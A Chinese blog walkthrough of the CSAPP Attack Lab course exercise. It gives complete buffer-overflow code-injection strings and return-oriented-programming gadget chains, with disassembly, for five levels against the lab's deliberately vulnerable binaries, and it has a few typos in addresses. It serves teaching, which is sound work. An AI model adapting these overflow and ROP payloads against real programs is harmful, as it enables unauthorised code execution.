CSAPP实验——AttackLab

Attack Lab 缓冲区溢出攻击实验

这是CSAPP课程的第三个Lab。

实验准备

实验介绍

简介
本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种 Code injection代码注入和 Reeturn-oriented programming(ROP)面向返回编程。
目的
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。



实验说明

文件说明
ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw:一个生成攻击字符串的工具。



整个Lab的大致流程就是,输入一个字符串,然后利用stack的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()函数去调用getbuf()函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch函数。

X68-64寄存器和堆栈
X86-64有16个64位寄存器
1、 %rax 作为函数返回值使用。
2、 %rsp 栈指针寄存器,指向栈顶。
3、 %rdi%rsi%rdx%rcx%r8%r9 用作函数参数,依次对应第1参数,第2参数……
4、 %rbx%rbp%r12%r13%14%15 用作数据存储,遵循被调用者使用规则。
5、 %r10%r11 用作数据存储,遵循调用者使用规则。




辅助工具说明
hex2raw:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用 小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt

详细实验介绍和实验步骤可以查看WriteUp,强烈推荐实验前先看一下。

PART 1 : Code Injection Attacks

代码注入攻击:通过使缓冲区溢出,注入攻击代码。ctarget文件将执行test函数,实验·任务是在执行完getbuf函数后,程序不继续执行test函数,而是执行touch函数。

在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。

void test() 
{
   
   
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

Level 1

使getbuf返回时,执行touch1而不是返回test

void touch1() 
{
   
   
    vlevel = 1;    /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");   
    validate(1);
    exit(0);
}

这一阶段不需要注入新的代码,只需要用攻击字符串覆盖getbuf的返回值,即使getbuf结尾处的ret指令将控制转移到touch1

  • getbuf汇编代码
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90 
  • 从第一句指令sub $0x28,%rsp可以得出getbuf创建的缓冲区大小为0x28字节。
0000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>
  • touch1函数的起始地址为0x4017c0getbuf在栈中分配了40个字节的内存来存储输入数据。在执行ret指令后,从%rsp+40处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1的起始地址,即将输入的第40-47个字符写为touch1函数的起始地址。
  • 攻击字符串level1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上字符是填充满整个缓冲区(40字节)从而溢出
c0 17 40 00 00 00 00 00
//用函数touch1的起始地址覆盖原先的返回地址
 这里注意小端法保存
  • 调用hex2raw生成攻击字符串,并攻击ctarget在这里插入图片描述
    在这里插入图片描述

Level 2

void touch2(unsigned val)
{
   
   
	vlevel = 2; /* Part of validation protocol */
	if (val == cookie) {
   
   
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
	validate(2);
	 } 
	 else {
   
   
		printf("Misfire: You called touch2(0x%.8x)\n", val);
 		fail(2);
 	}
 	exit(0);
 }

使getbuf返回时,执行touch2而不是返回test,并且让touch2以为其接受的输入参数是cookie,即0x59b997fa

  • 汇编代码
00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>

  • touch2函数的起始地址为0x4017ec,根据x86-64寄存器规则和汇编代码可知touch2函数的输入参数存储在寄存器%rdi。所以我们需要在进入touch2之前先跳转到某个地方,执行注入代码,将修改寄存器%rdi的值为cookie,然后再跳转。所以步骤为:
    1、将cookie放入寄存器%rdi中,然后将touch2函数的起始地址压入栈中,这样通过ret指令返回时就可以跳转到touch2
    2、然后将利用缓冲区溢出的漏洞将getbuf函数返回到上述代码的起始位置,即从缓冲区的起始位置执行攻击代码。
    流程为:getbuf -> ret = 缓冲区起始地址 -> 注入代码 -> ret -> touch2起始地址


  • 注入代码指令如下:
mov $0x59b997fa, %rdi
pushq $0x4017ec    //ret指令后出栈跳转到touch2
ret
  • 利用编译和反汇编获得注入代码的机器代码:
    gcc -c attack1.s
    objdump -d attack1.o > attack1.txt

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq                                        
  • 因此要注入的字符串为48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3。我们需要知道这段代码在程序中为位置,内存中存储这段代码的位置是由getbuf开辟的缓冲区,而getbuf利用Gets开辟缓冲区,因此我们需要利用gdb查看缓冲区的起始位置。在这里插入图片描述
    缓冲区的起始地址为0x5561dc78
  • 攻击字符串level2.txt
48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
  • 使用hex2raw生成攻击字符串,并攻击ctarget在这里插入图片描述
    在这里插入图片描述

Level 3

int hexmatch(unsigned val, char *sval)
{
   
   
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
   
   
    vlevel = 3;
    if (hexmatch(cookie, sval)){
   
   
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
   
   
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
  • 和Level 2 一样touch3也需要传入cookie但是要求以字符串的形式传入。和Level 2的区别是touch3的参数是cookie的字符串地址, 寄存器%rdi存储cookie字符串的地址。
  • 汇编代码
00000000004018fa <touch3>:
  4018fa:	53                   	push   %rbx
  4018fb:	48 89 fb             	mov    %rdi,%rbx
  4018fe:	c7 05 d4 2b 20 00 03 	movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
  401905:	00 00 00 
  401908:	48 89 fe             	mov    %rdi,%rsi
  40190b:	8b 3d d3 2b 20 00    	mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
  401911:	e8 36 ff ff ff       	callq  40184c <hexmatch>
  401916:	85 c0                	test   %eax,%eax
  401918:	74 23                	je     40193d <touch3+0x43>
  40191a:	48 89 da             	mov    %rbx,%rdx
  40191d:	be 38 31 40 00       	mov    $0x403138,%esi
  401922:	bf 01 00 00 00       	mov    $0x1,%edi
  401927:	b8 00 00 00 00       	mov    $0x0,%eax
  40192c:	e8 bf f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401931:	bf 03 00 00 00       	mov    $0x3,%edi
  401936:	e8 52 03 00 00       	callq  401c8d <validate>
  40193b:	eb 21                	jmp    40195e <touch3+0x64>
  40193d:	48 89 da             	mov    %rbx,%rdx
  401940:	be 60 31 40 00       	mov    $0x403160,%esi
  401945:	bf 01 00 00 00       	mov    $0x1,%edi
  40194a:	b8 00 00 00 00       	mov    $0x0,%eax
  40194f:	e8 9c f4 ff ff       	callq  400df0 <__printf_chk@plt>
  401954:	bf 03 00 00 00       	mov    $0x3,%edi
  401959:	e8 f1 03 00 00       	callq  401d4f <fail>
  40195e:	bf 00 00 00 00       	mov    $0x0,%edi
  401963:	e8 d8 f4 ff ff       	callq  400e40 <exit@plt>
  • touch3的起始地址为0x4018fa。因为在函数中调用了hexmatch函数,并且该函数申请了110字节的内存空间,如果cookie存储在缓冲区内会被覆盖掉,因此通过gdb查看调用hexmatch后栈顶地址为0x5561dca0,将字符串存储在栈之外即0x556dca8处。
  • cookie0x55997fa的ACSII码为35 39 62 39 39 37 66 61 00,末尾的00是字符串结束标识符\n。注入代码为:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi  #存入cookie值ASCII码的地址
   7:	68 fa 18 40 00       	pushq  $0x4018fa    #跳转touch3
   c:	c3                   	retq   
  • 攻击字符串level3.txt
48 c7 c7 a8 dc 61 55 68 
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上包含注入代码填充满整个缓冲区(40字节)从而溢出
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖原先的返回地址
35 39 62 39 39 37 66 61 00
//cookie值的ACSII码
  • 使用hex2raw生成攻击字符串,并攻击ctarget在这里插入图片描述
    在这里插入图片描述

PART 2:Return-Oriented Programming(ROP)

面向返回编程:
为了防止代码注入攻击,程序通常使用两种技术来阻止此类攻击:

  • 栈随机化:每次程序运行栈的位置都是随机的,因此无法确定注入代码应放的位置;
  • 限制可执行代码区域:将保存堆栈的内存区域标记为不可执行,因此即使将程序计数器设置为注入代码的开头,程序也会因为分段错误而失败。

因此通过执行现有代码而不是注入新代码来完成攻击,常见形式为ROP。

ROP的策略是识别现有程序的字节序列,程序会在栈上放入很多gadget地址(小的代码片段,并且会ret),而每次ret都进入一个gadget,这样可以形成一个程序链,通过将程序自身的指令来完成我们的目的。
根据实验参考文件,所需的所有gadger都可以在函数start_farmmid_farm划分的rtarget的代码区域中找到。

  • 代码
0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	retq   
000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   
00000000004019a0 <addval_273>:
  4019a0:	8d 87 `48 89 c7 c3`    	lea    -0x3c3876b8(%rdi),%eax  # movq %rax,%rdi
  4019a6:	c3                   	retq   
00000000004019a7 <addval_219>:                           
  4019a7:	8d 87 51 73 `58 90`    	lea    -0x6fa78caf(%rdi),%eax  # popq %rax
  4019ad:	`c3`                  	retq    
00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   
00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   
00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   
00000000004019c3 <setval_426>:
  4019c3:	c7 07 `48 89 c7 90`    	movl   $0x90c78948,(%rdi)
  4019c9:	`c3`                   	retq   
00000000004019ca <getval_280>:
  4019ca:	b8 29 `58 90 c3`       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   
00000000004019d0 <mid_farm>:
  4019d0:	b8 01 00 00 00       	mov    $0x1,%eax
  4019d5:	c3                   	retq   
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   
00000000004019db <getval_481>:
  4019db:	b8 5c `89 c2 90`      	mov    $0x90c2895c,%eax  #movl %eax,%edx
  4019e0:	`c3`                   	retq   
00000000004019e1 <setval_296>:
  4019e1:	c7 07 99 d1 90 90    	movl   $0x9090d199,(%rdi)
  4019e7:	c3                   	retq   
00000000004019e8 <addval_113>:
  4019e8:	8d 87 89 ce 78 c9    	lea    -0x36873177(%rdi),%eax
  4019ee:	c3                   	retq   
00000000004019ef <addval_490>:
  4019ef:	8d 87 8d d1 20 db    	lea    -0x24df2e73(%rdi),%eax
  4019f5:	c3                   	retq   
00000000004019f6 <getval_226>:
  4019f6:	b8 89 d1 48 c0       	mov    $0xc048d189,%eax
  4019fb:	c3                   	retq   
00000000004019fc <setval_384>:
  4019fc:	c7 07 81 d1 84 c0    	movl   $0xc084d181,(%rdi)
  401a02:	c3                   	retq   
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq   
0000000000401a0a <setval_276>:
  401a0a:	c7 07 88 c2 08 c9    	movl   $0xc908c288,(%rdi)
  401a10:	c3                   	retq   
0000000000401a11 <addval_436>:
  401a11:	8d 87 `89 ce 90 90`    	lea    -0x6f6f3177(%rdi),%eax  #movl %ecx,%esi
  401a17:	`c3`                   	retq   
0000000000401a18 <getval_345>:
  401a18:	b8 48 89 e0 c1       	mov    $0xc1e08948,%eax
  401a1d:	c3                   	retq   
0000000000401a1e <addval_479>:
  401a1e:	8d 87 89 c2 00 c9    	lea    -0x36ff3d77(%rdi),%eax
  401a24:	c3                   	retq   
0000000000401a25 <addval_187>:
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   
0000000000401a2c <setval_248>:
  401a2c:	c7 07 81 ce 08 db    	movl   $0xdb08ce81,(%rdi)
  401a32:	c3                   	retq   
0000000000401a33 <getval_159>:
  401a33:	b8 `89 d1 38 c9`       	mov    $0xc938d189,%eax  #movl %edx,%ecx
  401a38:	`c3`                   	retq   
0000000000401a39 <addval_110>:
  401a39:	8d 87 c8 89 e0 c3    	lea    -0x3c1f7638(%rdi),%eax
  401a3f:	c3                   	retq   
0000000000401a40 <addval_487>:
  401a40:	8d 87 89 c2 84 c0    	lea    -0x3f7b3d77(%rdi),%eax
  401a46:	c3                   	retq   
0000000000401a47 <addval_201>:
  401a47:	8d 87 48 89 e0 c7    	lea    -0x381f76b8(%rdi),%eax
  401a4d:	c3                   	retq   
0000000000401a4e <getval_272>:
  401a4e:	b8 99 d1 08 d2       	mov    $0xd208d199,%eax
  401a53:	c3                   	retq   
0000000000401a54 <getval_155>:
  401a54:	b8 89 c2 c4 c9       	mov    $0xc9c4c289,%eax
  401a59:	c3                   	retq   
0000000000401a5a <setval_299>:
  401a5a:	c7 07 48 89 e0 91    	movl   $0x91e08948,(%rdi)
  401a60:	c3                   	retq   
0000000000401a61 <addval_404>:
  401a61:	8d 87 89 ce 92 c3    	lea    -0x3c6d3177(%rdi),%eax
  401a67:	c3                   	retq   
0000000000401a68 <getval_311>:
  401a68:	b8 89 d1 08 db       	mov    $0xdb08d189,%eax
  401a6d:	c3                   	retq   
0000000000401a6e <setval_167>:
  401a6e:	c7 07 89 d1 91 c3    	movl   $0xc391d189,(%rdi)
  401a74:	c3                   	retq   
0000000000401a75 <setval_328>:
  401a75:	c7 07 81 c2 38 d2    	movl   $0xd238c281,(%rdi)
  401a7b:	c3                   	retq   
0000000000401a7c <setval_450>:
  401a7c:	c7 07 09 ce 08 c9    	movl   $0xc908ce09,(%rdi)
  401a82:	c3                   	retq   
0000000000401a83 <addval_358>:
  401a83:	8d 87 08 `89 e0 90`    	lea    -0x6f1f76f8(%rdi),%eax
  401a89:	`c3`                   	retq   
0000000000401a8a <addval_124>:
  401a8a:	8d 87 89 c2 c7 3c    	lea    0x3cc7c289(%rdi),%eax
  401a90:	c3                   	retq   
0000000000401a91 <getval_169>:
  401a91:	b8 88 ce 20 c0       	mov    $0xc020ce88,%eax
  401a96:	c3                   	retq   
0000000000401a97 <setval_181>:
  401a97:	c7 07 48 89 e0 c2    	movl   $0xc2e08948,(%rdi)
  401a9d:	c3                   	retq   
0000000000401a9e <addval_184>:
  401a9e:	8d 87 89 c2 60 d2    	lea    -0x2d9f3d77(%rdi),%eax
  401aa4:	c3                   	retq   
0000000000401aa5 <getval_472>:
  401aa5:	b8 8d ce 20 d2       	mov    $0xd220ce8d,%eax
  401aaa:	c3                   	retq   
0000000000401aab <setval_350>:
  401aab:	c7 07 `48 89 e0 90`    	movl   $0x90e08948,(%rdi) #movq %rsp,%rax
  401ab1:	`c3`                   	retq   
0000000000401ab2 <end_farm>:
  401ab2:	b8 01 00 00 00       	mov    $0x1,%eax
  401ab7:	c3                   	retq   

gadget farm中的满足条件的gadget

gadget 起始地址 指令编号 指令
<addval_273> 0x4019a2 48 89 c7 c3 movq %rax,%rdi
<addval_219> 0x4019ca 58 (90) c3 popq %rax
<setval_350> 0x401aad 48 89 e0 (90) c3 movq %rsp,%rax
<getval_481> 0x4019dd 89 c2 (90) c3 movl %eax,%edx
<getval_159> 0x401a34 89 d1 (38) (c9) c3 movl %edx,%ecx
<addval_436> 0x401a13 89 ce (90) (90) c3 movl %ecx,%esi
<add_xy> 0x4019d6 48 8d 04 37 c3 lea (%rdi,%rsi,1),%rax
 括号内的指令编码为nop或2字节指令,并不影响。

Level 4

要求
1、只能使用前八个x86-64寄存器 %rax-%rdi
2、只能使用 movqpopqretnopgadget
3、只能使用两个 gadget完成攻击;

和Level 2一样将cookie存储进寄存器%rdi内。所以需要在rterget中找到相应gadget,可以凑出相应的能够实现攻击的指令。先将寄存器%rax的值设置为cookie,然后复制给%rdi。,可以拼凑出代码为:

popq	%rax   
ret            # 0x4019ab
mov		%rax,%rdi
ret            # 0x4019a2
  • 攻击字符串 level4.txt
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上代码填满整个缓冲区以致溢出
ab 19 40 00 00 00 00 00
//用gadget1(popq %rat   ret)的起始地址覆盖原先的返回地址
fa 97 b9 59 00 00 00 00   //cookie
a2 19 40 00 00 00 00 00 
//gadget2(mov %rax,%rdi   ret)的起始地址
ec 17 40 00 00 00 00 00   //touch2的起始地址

在这里插入图片描述
在这里插入图片描述

Level 5

要求
1、只能使用前八个x86-64寄存器 %rax-%rdi
2、可以使用 movqmovlpopqretnopgadget
3、可以使用在 rtarget代码中在 start_farmend_farm区域内的任意 gadget完成攻击;
4、至少需要8个 gadget实现此次攻击。


  • level3一样,需要将寄存器%rdi的值设置为cookie字符串的指针,即存储cookie字符串的地址。
  • 找到满足要求的gadget拼凑出攻击指令
movq   %rsp,%rax    //传递栈顶位置栈顶位置
//因为不能将cookie字符串存储在栈顶位置,需要另找位置,将cookie字符串存储在rsp+x处
add    $x  ,%rax    
movq   %rax,%rdi    //将cookie字符串地址传递给%rdi
  • 因此我们需要找到一个能够实现加法或减法的运算的gadget,但是参考文件中并没有相关的字节编码,需要寻找其他方法:
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq  
  • 通过观察可以通过上述代码来实现一个加法运算,lea (%rdi,%rsi,1) %rax的是%rax = %rdi + %rsi传递的是地址,所以只要能够让%rdi%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie字符串存放的地址。所以分成两部分代码:
    1.把%rsp存放到%rdi中
    2.把偏移值(需要确定指令数后才能确定)存放到%rsi中

  • 在上述代码中并没有movq %rax,%rsi的gadget,只能通过过%eax->%edx->%ecx->%esi来实现。即将%eax的值设置为cookie字符串地址在栈中的偏移量并复制给%esi
    需要注意的是,上面两部分完成任务的寄存器不能互换,因为从%eax%esi的值传递mov指令都是4byte的操作,如果对%rsp的值采用这种方式,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。
  • 最后的指令为:
mov   %rsp,%rax
ret
mov   %rax,%rdi   #先将栈顶%rsp存入%rdi内
ret
popq  %rax         #将偏移量赋值给%eax
ret                 
movl  %eax,%edx    
ret
movl  %edx,%ecx
ret
movl  %ecx,%esi   #%esi = 偏移量
ret
lea   (%rdi,%rsi,1),%rax #%rax = %rsp + 偏移量
ret
mov   %rax,%rdi    #%rdi = cookie字符地址
ret
  • 根据题目rsp是41-48字节处,所以在cookie字符串之前还有九条指令,共占有72个字节即0x48字节,所以cookie字符串的地址在栈中的偏移量为0x48
  • 攻击字符串level5.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代码填满整个缓冲区以致溢出
ad 1a 40 00 00 00 00 00  //movq %rsp,%rax
a2 19 40 00 00 00 00 00  //movq %rax,%rdi
ab 19 40 00 00 00 00 00  //popq %rax
48 00 00 00 00 00 00 00  //偏移值
dd 19 40 00 00 00 00 00  //movl %eax,%edx
34 1a 40 00 00 00 00 00  //movl %edx,%ecx
13 1a 40 00 00 00 00 00  //movl %ecx,%esi
d6 19 40 00 00 00 00 00  //lea (%rsi,%rdi,1) %rax
a2 19 40 00 00 00 00 00  //movq %rax,%rdi
fa 18 40 00 00 00 00 00  //touch3的起始地址
35 39 62 39 39 37 66 61 00 //cookie字符串

在这里插入图片描述
在这里插入图片描述

实验总结

这一部分实验大概用了两个晚上的时间,这个实验的说明文档讲的很清晰,相对上一个实验还是容易些,通过这个实验对于堆栈还有参数传递有了更深的认识,对于机器代码如何控制程序运行也更加了解,以后有机会也会多了解一下这方面的知识。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章